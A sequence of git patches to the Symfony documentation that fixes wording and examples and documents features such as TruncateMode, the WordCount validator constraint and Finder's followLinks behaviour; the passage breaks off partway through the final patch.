diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index edaa8be8f47..beedbf33853 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -150,7 +150,7 @@ will look like this::
         ],
     ]
 
-Whilst you can manually manage merging the different files, it is much better
+While you can manually manage merging the different files, it is much better
 to use :doc:`the Config component </components/config>` to
 merge and validate the config values. Using the configuration processing
 you could access the config value this way::

From 4651ca41c735d0c3151837a9c0fc927658a1eeae Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Sun, 7 Jul 2024 12:05:00 -0600
Subject: [PATCH 4854/5766] add missing word

"if the property" doesn't seem right to me.
---
 components/workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/workflow.rst b/components/workflow.rst
index 3821a2e9fa8..8ca201b0859 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -94,7 +94,7 @@ you can retrieve a workflow from it and use it as follows::
 Initialization
 --------------
 
-If the property of your object is ``null`` and you want to set it with the
+If the marking property of your object is ``null`` and you want to set it with the
 ``initial_marking`` from the configuration, you can call the ``getMarking()``
 method to initialize the object property::
 

From 03173f88b1d74cb64a5ae1042bbdd19a3d515531 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jul 2024 09:39:04 +0200
Subject: [PATCH 4855/5766] Add a note explaining the removal of Gitter

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index cbc23655124..d959b4a73d0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -370,6 +370,11 @@ Service                                  Package                               D
 
     The ``Bluesky`` integration was introduced in Symfony 7.1.
 
+.. deprecated:: 7.2
+
+    The ``Gitter`` integration was removed in Symfony 7.2 because that service
+    no longer provides an API.
+
 .. caution::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,

From 15a50b58980903c362e534d21021cfc88c0d72d6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jul 2024 10:34:38 +0200
Subject: [PATCH 4856/5766] Minor tweaks

---
 components/type_info.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 1c42a89b3c8..f6b5e84a0f5 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -63,17 +63,17 @@ based on reflection or a simple string::
 
     // Type instances have several helper methods
 
-    // returns the main type (e.g. in this example ir returns an "array" Type instance)
-    // for nullable types (e.g. string|null) returns the non-null type (e.g. string)
+    // returns the main type (e.g. in this example i returns an "array" Type instance);
+    // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
     // and for compound types (e.g. int|string) it throws an exception because both types
     // can be considered the main one, so there's no way to pick one
     $baseType = $type->getBaseType();
 
-    // for collections, it returns the type of the item used as the key
+    // for collections, it returns the type of the item used as the key;
     // in this example, the collection is a list, so it returns and "int" Type instance
     $keyType = $type->getCollectionKeyType();
 
-    // you can chain the utility methods e.g. to introspect the values of the collection
+    // you can chain the utility methods (e.g. to introspect the values of the collection)
     // the following code will return true
     $isValueNullable = $type->getCollectionValueType()->isNullable();
 

From d13c60183fcf6822e00246b25dbbd112bedcc08e Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 8 Jul 2024 11:13:27 +0200
Subject: [PATCH 4857/5766] fix notifier geoip bridge repository link

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e1ad82cf2a6..8eadec26f4a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1118,7 +1118,7 @@ is dispatched. Listeners receive a
 .. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
 .. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
 .. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
-.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md
+.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIp/README.md
 .. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md

From 095155925a3239d23e57df548bfd6fd3b3bd89b0 Mon Sep 17 00:00:00 2001
From: Ahmed Ghanem <124502255+ahmedghanem00@users.noreply.github.com>
Date: Tue, 9 Jul 2024 11:38:54 +0300
Subject: [PATCH 4858/5766] [Notifier] Follow-Up with GoIP renaming

As the bridge renaming happened recently in Packagist, so, the update has been made here as well.
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 8eadec26f4a..3bf2d34e34f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -91,7 +91,7 @@ Service
 `GatewayApi`_       **Install**: ``composer require symfony/gateway-api-notifier`` \
                     **DSN**: ``gatewayapi://TOKEN@default?from=FROM`` \
                     **Webhook support**: No
-`GoIP`_             **Install**: ``composer require symfony/goip-notifier`` \
+`GoIP`_             **Install**: ``composer require symfony/go-ip-notifier`` \
                     **DSN**: ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` \
                     **Webhook support**: No
 `Infobip`_          **Install**: ``composer require symfony/infobip-notifier`` \

From 7928e4d7b21c7e860492c7ee6e9dbcd4a1f2e1ef Mon Sep 17 00:00:00 2001
From: Tim Herlaud <therlaud@interdrinks.fr>
Date: Wed, 10 Jul 2024 09:17:34 +0200
Subject: [PATCH 4859/5766] [String] Add TruncateMode mode to truncate methods

---
 string.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/string.rst b/string.rst
index c58a736da89..c956d33b9af 100644
--- a/string.rst
+++ b/string.rst
@@ -394,11 +394,16 @@ Methods to Join, Split, Truncate and Reverse
     u('Lorem Ipsum')->truncate(3);             // 'Lor'
     u('Lorem Ipsum')->truncate(80);            // 'Lorem Ipsum'
     // the second argument is the character(s) added when a string is cut
+    // the third argument is TruncateMode::Char by default
     // (the total length includes the length of this character(s))
-    u('Lorem Ipsum')->truncate(8, '…');             // 'Lorem I…'
-    // if the third argument is false, the last word before the cut is kept
-    // even if that generates a string longer than the desired length
-    u('Lorem Ipsum')->truncate(8, '…', cut: false); // 'Lorem Ipsum'
+    u('Lorem Ipsum')->truncate(8, '…');        // 'Lorem I…'
+    // use options to keep complete words
+    u('Lorem ipsum dolor sit amet')->truncate(10, '...', TruncateMode::WordBefore);  // 'Lorem...'
+    u('Lorem ipsum dolor sit amet')->truncate(14, '...', TruncateMode::WordAfter);  // 'Lorem ipsum...'
+
+.. versionadded:: 7.2
+
+    The TruncateMode argument for truncate function was introduced in Symfony 7.2.
 
 ::
 

From fa16f07a04693ac38c08d7b66b61024383c79192 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Wed, 10 Jul 2024 14:55:11 +0200
Subject: [PATCH 4860/5766] fix service definition example in testing section

---
 mercure.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index a2ed1fea4db..bbc8771b82c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -673,8 +673,9 @@ sent:
 .. code-block:: yaml
 
     # config/services_test.yaml
-    mercure.hub.default:
-        class: App\Tests\Functional\Stub\HubStub
+    services:
+        mercure.hub.default:
+            class: App\Tests\Functional\Stub\HubStub
 
 As MercureBundle support multiple hubs, you may have to replace
 the other service definitions accordingly.

From b607d25adaad279a4c0b974713f3f627c00cff7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Jul 2024 17:09:38 +0200
Subject: [PATCH 4861/5766] Reword

---
 string.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/string.rst b/string.rst
index 72dfb5c4ae7..cd104b1f947 100644
--- a/string.rst
+++ b/string.rst
@@ -394,16 +394,20 @@ Methods to Join, Split, Truncate and Reverse
     u('Lorem Ipsum')->truncate(3);             // 'Lor'
     u('Lorem Ipsum')->truncate(80);            // 'Lorem Ipsum'
     // the second argument is the character(s) added when a string is cut
-    // the third argument is TruncateMode::Char by default
     // (the total length includes the length of this character(s))
+    // (note that '…' is a single character that includes three dots; it's not '...')
     u('Lorem Ipsum')->truncate(8, '…');        // 'Lorem I…'
-    // use options to keep complete words
-    u('Lorem ipsum dolor sit amet')->truncate(10, '...', TruncateMode::WordBefore);  // 'Lorem...'
-    u('Lorem ipsum dolor sit amet')->truncate(14, '...', TruncateMode::WordAfter);  // 'Lorem ipsum...'
+    // the third optional argument defines how to cut words when the length is exceeded
+    // the default value is TruncateMode::Char which cuts the string at the exact given length
+    u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::Char);       // 'Lorem ip'
+    // returns up to the last complete word that fits in the given length without surpassing it
+    u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::WordBefore); // 'Lorem'
+    // returns up to the last complete word that fits in the given length, surpassing it if needed
+    u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::WordAfter);   // 'Lorem ipsum'
 
 .. versionadded:: 7.2
 
-    The TruncateMode argument for truncate function was introduced in Symfony 7.2.
+    The ``TruncateMode`` argument for truncate function was introduced in Symfony 7.2.
 
 ::
 

From 3236182336c79d9d3ea5a28a2c21550067b636a0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 10 Jul 2024 20:06:51 +0200
Subject: [PATCH 4862/5766] -

---
 string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/string.rst b/string.rst
index cd104b1f947..f2856976986 100644
--- a/string.rst
+++ b/string.rst
@@ -407,7 +407,7 @@ Methods to Join, Split, Truncate and Reverse
 
 .. versionadded:: 7.2
 
-    The ``TruncateMode`` argument for truncate function was introduced in Symfony 7.2.
+    The ``TruncateMode`` parameter for truncate function was introduced in Symfony 7.2.
 
 ::
 

From 43878c3aef90b3ccc7d6396fc13c9bc6f8afd377 Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Mon, 8 Jul 2024 23:04:56 +0200
Subject: [PATCH 4863/5766] Add a note to explain the goal of the followLinks
 method

---
 components/finder.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/finder.rst b/components/finder.rst
index 35041ddb2b1..daf87c9b85c 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -127,6 +127,10 @@ If you want to follow `symbolic links`_, use the ``followLinks()`` method::
 
     $finder->files()->followLinks();
 
+.. note::
+
+    Be careful, the ``followLinks`` method does not resolve links. This method makes the links to directories followed/traversed into. If we suppose a folder *followLinksFolder* which contains a folder with a file and a symlink of the folder *folder, file.txt and symlinkfolder*, thanks to the Finder component ``$finder->in('/home/user/followLinksFolder');`` will retrieve three elements *folder, folder/file.txt and symlinkfolder*. If, we use the ``followLinks`` method instead ``$finder->followLinks()->in('/home/user/followLinksFolder');``, we will retrieve also a fourth element *folder, folder/file.txt, symlinkfolder and symlinkfolder/file.txt*.
+
 Version Control Files
 ~~~~~~~~~~~~~~~~~~~~~
 

From 1312099cc5f09ddcb17a7d51b8b3632f1de9b97b Mon Sep 17 00:00:00 2001
From: Jonathan Clark <jono_clark2@hotmail.com>
Date: Thu, 11 Jul 2024 19:27:15 +0100
Subject: [PATCH 4864/5766] Update security.rst

If this form is submitted with an empty username or password, a 400 error will be thrown in a new page:  The key "_password" must be a non-empty string.
By adding "required" the user will instead get a more helpful "Please fill in this field." error on screen next to the appropriate box which is a much better experience.
---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index c611fe4654c..84e4ebb7d75 100644
--- a/security.rst
+++ b/security.rst
@@ -833,10 +833,10 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}">
+            <input type="text" id="username" name="_username" value="{{ last_username }}" required>
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password">
+            <input type="password" id="password" name="_password" required>
 
             {# If you want to control the URL the user is redirected to on success
             <input type="hidden" name="_target_path" value="/account"> #}

From 1e880ca1d0ebd18f3c90a4225f69ad5c063c62c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jul 2024 17:47:17 +0200
Subject: [PATCH 4865/5766] Reword

---
 components/finder.rst | 26 +++++++++++++++++++++++---
 1 file changed, 23 insertions(+), 3 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index daf87c9b85c..c696d7290ab 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -127,9 +127,29 @@ If you want to follow `symbolic links`_, use the ``followLinks()`` method::
 
     $finder->files()->followLinks();
 
-.. note::
-
-    Be careful, the ``followLinks`` method does not resolve links. This method makes the links to directories followed/traversed into. If we suppose a folder *followLinksFolder* which contains a folder with a file and a symlink of the folder *folder, file.txt and symlinkfolder*, thanks to the Finder component ``$finder->in('/home/user/followLinksFolder');`` will retrieve three elements *folder, folder/file.txt and symlinkfolder*. If, we use the ``followLinks`` method instead ``$finder->followLinks()->in('/home/user/followLinksFolder');``, we will retrieve also a fourth element *folder, folder/file.txt, symlinkfolder and symlinkfolder/file.txt*.
+Note that this method follows links but it doesn't resolve them. Consider
+the following structure of files of directories:
+
+.. code-block:: text
+
+    ├── folder1/
+    │   ├──file1.txt
+    │   ├── file2link (symbolic link to folder2/file2.txt file)
+    │   └── folder3link (symbolic link to folder3/ directory)
+    ├── folder2/
+    │   └── file2.txt
+    └── folder3/
+        └── file3.txt
+
+If you try to find all files in ``folder1/`` via ``$finder->files()->in('/path/to/folder1/')``
+you'll get the following results:
+
+* When **not** using the ``followLinks()`` method: ``file1.txt`` and ``file2link``
+  (this link is not resolved). The ``folder3link`` doesn't appear in the results
+  because it's not followed or resolved;
+* When using the ``followLinks()`` method: ``file1.txt``, ``file2link`` (this link
+  is still not resolved) and ``folder3/file3.txt`` (this file appears in the results
+  because the ``folder1/folder3link`` link was followed).
 
 Version Control Files
 ~~~~~~~~~~~~~~~~~~~~~

From 86e415b1920d7d0ebf48678887f9a61619b86210 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jul 2024 09:42:03 +0200
Subject: [PATCH 4866/5766] Fix the parameter configuration in the file upload
 doc

---
 controller/upload_file.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index b273deb0fab..6fb0bbf3883 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -175,16 +175,17 @@ Finally, you need to update the code of the controller that handles the form::
         }
     }
 
-Now, create the ``brochures_directory`` parameter that was used in the
-controller to specify the directory in which the brochures should be stored:
+Now, bind the ``$brochuresDirectory`` controller argument to its actual value
+using the service configuration:
 
 .. code-block:: yaml
 
     # config/services.yaml
-
-    # ...
-    parameters:
-        brochures_directory: '%kernel.project_dir%/public/uploads/brochures'
+    services:
+        _defaults:
+            # ...
+            bind:
+                $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures'
 
 There are some important things to consider in the code of the above controller:
 

From 0b4c3781e859c7f3bd5529ad5e8e47609c6d5a5a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jul 2024 10:13:11 +0200
Subject: [PATCH 4867/5766] Clarify the purpose of the Config component

---
 components/config.rst | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/components/config.rst b/components/config.rst
index 579d5b3149d..9de03f1f869 100644
--- a/components/config.rst
+++ b/components/config.rst
@@ -1,9 +1,17 @@
 The Config Component
 ====================
 
-    The Config component provides several classes to help you find, load,
-    combine, fill and validate configuration values of any kind, whatever
-    their source may be (YAML, XML, INI files, or for instance a database).
+The Config component provides utilities to define and manage the configuration
+options of PHP applications. It allows you to:
+
+* Define a configuration structure, its validation rules, default values and documentation;
+* Support different configuration formats (YAML, XML, INI, etc.);
+* Merge multiple configurations from different sources into a single configuration.
+
+.. note::
+
+    You don't have to use this component to configure Symfony applications.
+    Instead, read the docs about :doc:`how to configure Symfony applications </configuration>`.
 
 Installation
 ------------

From e4bfad31dc4fd910f5f01aea02a6ee6ddbeecab3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 17 Jul 2024 09:58:11 +0200
Subject: [PATCH 4868/5766] send necessary HTTP headers

---
 http_client.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/http_client.rst b/http_client.rst
index bc950a382e8..c8c3094375a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -676,6 +676,7 @@ when the streams are large)::
     $client->request('POST', 'https://...', [
         // ...
         'body' => $formData->bodyToString(),
+        'headers' => $formData->getPreparedHeaders()->toArray(),
     ]);
 
 If you need to add a custom HTTP header to the upload, you can do::

From e983455bc391256a77f5397efe650393e9c58c04 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 17 Jul 2024 15:13:29 +0200
Subject: [PATCH 4869/5766] [Validator] Add the `WordCount` constraint

---
 reference/constraints/WordCount.rst | 150 ++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc   |   1 +
 2 files changed, 151 insertions(+)
 create mode 100644 reference/constraints/WordCount.rst

diff --git a/reference/constraints/WordCount.rst b/reference/constraints/WordCount.rst
new file mode 100644
index 00000000000..74c79216898
--- /dev/null
+++ b/reference/constraints/WordCount.rst
@@ -0,0 +1,150 @@
+WordCount
+=========
+
+.. versionadded:: 7.2
+
+    The ``WordCount`` constraint was introduced in Symfony 7.2.
+
+Validates that a string (or an object implementing the ``Stringable`` PHP interface)
+contains a given number of words. Internally, this constraint uses the
+:phpclass:`IntlBreakIterator` class to count the words depending on your locale.
+
+==========  =======================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\WordCount`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\WordCountValidator`
+==========  =======================================================================
+
+Basic Usage
+-----------
+
+If you wanted to ensure that the ``content`` property of a ``BlogPostDTO``
+class contains between 100 and 200 words, you could do the following:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/BlogPostDTO.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class BlogPostDTO
+        {
+            #[Assert\WordCount(min: 100, max: 200)]
+            protected string $content;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\BlogPostDTO:
+            properties:
+                content:
+                    - WordCount:
+                        min: 100
+                        max: 200
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\BlogPostDTO">
+                <property name="content">
+                    <constraint name="WordCount">
+                        <option name="min">100</option>
+                        <option name="max">200</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/BlogPostDTO.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BlogPostDTO
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('content', new Assert\WordCount([
+                    'min' => 100,
+                    'max' => 200,
+                ]));
+            }
+        }
+
+Options
+-------
+
+``min``
+~~~~~~~
+
+**type**: ``integer`` **default**: ``null``
+
+The minimum number of words that the value must contain.
+
+``max``
+~~~~~~~
+
+**type**: ``integer`` **default**: ``null``
+
+The maximum number of words that the value must contain.
+
+``locale``
+~~~~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+The locale to use for counting the words by using the :phpclass:`IntlBreakIterator`
+class. The default value (``null``) means that the constraint uses the current
+user locale.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``minMessage``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is too short. It should contain at least one word.|This value is too short. It should contain at least {{ min }} words.``
+
+This is the message that will be shown if the value does not contain at least
+the minimum number of words.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ min }}``     The minimum number of words
+``{{ count }}``   The actual number of words
+================  ==================================================
+
+``maxMessage``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is too long. It should contain one word.|This value is too long. It should contain {{ max }} words or less.``
+
+This is the message that will be shown if the value contains more than the
+maximum number of words.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ max }}``     The maximum number of words
+``{{ count }}``   The actual number of words
+================  ==================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 9f14f418bb1..978951c9de7 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -33,6 +33,7 @@ String Constraints
 * :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 * :doc:`Charset </reference/constraints/Charset>`
 * :doc:`MacAddress </reference/constraints/MacAddress>`
+* :doc:`WordCount </reference/constraints/WordCount>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From 608408431f9962d5b2b95ce47097d8379cf08d73 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 2 Jul 2024 13:18:13 +0200
Subject: [PATCH 4870/5766] Clarify not using the Config component for app
 configuration

---
 best_practices.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/best_practices.rst b/best_practices.rst
index 247d52fa15d..dafdfe8bc1c 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -109,6 +109,10 @@ Define these options as :ref:`parameters <configuration-parameters>` in the
 :ref:`environment <configuration-environments>` in the ``config/services_dev.yaml``
 and ``config/services_prod.yaml`` files.
 
+Unless the application configuration is reused multiple times and needs
+rigid validation, do *not* use the :doc:`Config component </components/config>`
+to define the options.
+
 Use Short and Prefixed Parameter Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 7d5aebcbeb1c11eb456fdc6672b0dea6616088e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jul 2024 17:56:40 +0200
Subject: [PATCH 4871/5766] Minor tweak

---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 6fb0bbf3883..b122b76c71a 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -185,7 +185,7 @@ using the service configuration:
         _defaults:
             # ...
             bind:
-                $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures'
+                string $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures'
 
 There are some important things to consider in the code of the above controller:
 

From 55d376f60d2ff6090ca59d284337f89876ecc44f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jul 2024 17:59:22 +0200
Subject: [PATCH 4872/5766] Reword code to use the Autowire attribute

---
 controller/upload_file.rst | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 7958f71a22d..dff5453509a 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -120,6 +120,7 @@ Finally, you need to update the code of the controller that handles the form::
     use App\Entity\Product;
     use App\Form\ProductType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
     use Symfony\Component\HttpFoundation\File\Exception\FileException;
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Request;
@@ -130,7 +131,11 @@ Finally, you need to update the code of the controller that handles the form::
     class ProductController extends AbstractController
     {
         #[Route('/product/new', name: 'app_product_new')]
-        public function new(Request $request, SluggerInterface $slugger, string $brochuresDirectory): Response
+        public function new(
+            Request $request,
+            SluggerInterface $slugger,
+            #[Autowire('%kernel.project_dir%/public/uploads/brochures')] string $brochuresDirectory
+        ): Response
         {
             $product = new Product();
             $form = $this->createForm(ProductType::class, $product);
@@ -171,18 +176,6 @@ Finally, you need to update the code of the controller that handles the form::
         }
     }
 
-Now, bind the ``$brochuresDirectory`` controller argument to its actual value
-using the service configuration:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        _defaults:
-            # ...
-            bind:
-                string $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures'
-
 There are some important things to consider in the code of the above controller:
 
 #. In Symfony applications, uploaded files are objects of the

From d6390bae3003bc6fd4036950c6d1bac1e59aa17c Mon Sep 17 00:00:00 2001
From: Thomas P <ScullWM@users.noreply.github.com>
Date: Wed, 17 Jul 2024 18:44:36 +0200
Subject: [PATCH 4873/5766] Update service_subscribers_locators.rst

Fix defaultIndexMethod attribute typo
---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index ec57eb8f12b..da5cb415800 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -792,7 +792,7 @@ get the value used to index the services:
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')]
+                #[TaggedLocator('app.handler', defaultIndexMethod: 'getLocatorKey')]
                 private ContainerInterface $locator,
             ) {
             }

From 47279ab422ce618a328db6f7ba96cc2efa80ad93 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 19 Jul 2024 12:12:22 +0200
Subject: [PATCH 4874/5766] fix typos

---
 components/type_info.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index f6b5e84a0f5..30ae11aa222 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -63,14 +63,14 @@ based on reflection or a simple string::
 
     // Type instances have several helper methods
 
-    // returns the main type (e.g. in this example i returns an "array" Type instance);
+    // returns the main type (e.g. in this example it returns an "array" Type instance);
     // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
     // and for compound types (e.g. int|string) it throws an exception because both types
     // can be considered the main one, so there's no way to pick one
     $baseType = $type->getBaseType();
 
     // for collections, it returns the type of the item used as the key;
-    // in this example, the collection is a list, so it returns and "int" Type instance
+    // in this example, the collection is a list, so it returns an "int" Type instance
     $keyType = $type->getCollectionKeyType();
 
     // you can chain the utility methods (e.g. to introspect the values of the collection)

From 1a22c51eedd9e685ed0cf080f56c484610a75492 Mon Sep 17 00:00:00 2001
From: Cosmin Sandu <cosmin@foodomarket.com>
Date: Fri, 19 Jul 2024 13:17:01 +0300
Subject: [PATCH 4875/5766] issues/20050 Remove Doctrine mappings YML from
 documentation https://github.com/symfony/symfony-docs/issues/20050

---
 reference/configuration/doctrine.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 288a088b47a..5d717363301 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -269,9 +269,14 @@ you can control. The following configuration options exist for a mapping:
 ........
 
 One of ``annotation`` (for PHP annotations; it's the default value),
-``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
+``attribute`` (for PHP attributes), ``xml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
+.. deprecated:: ORM 3.0
+
+    The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0.
+
+
 See `Doctrine Metadata Drivers`_ for more information about this option.
 
 ``dir``

From 54fc8f95dae1c7af7a91a245b9f55a91b2210645 Mon Sep 17 00:00:00 2001
From: Maximilian Ruta <maximilian.ruta@comin-glasfaser.de>
Date: Tue, 16 Jul 2024 14:36:48 +0200
Subject: [PATCH 4876/5766] Document possibility to use user:pass for basic
 auth

---
 http_client.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index c8c3094375a..709612b9101 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -487,6 +487,11 @@ each request (which overrides any global authentication):
         // ...
     ]);
 
+.. note::
+
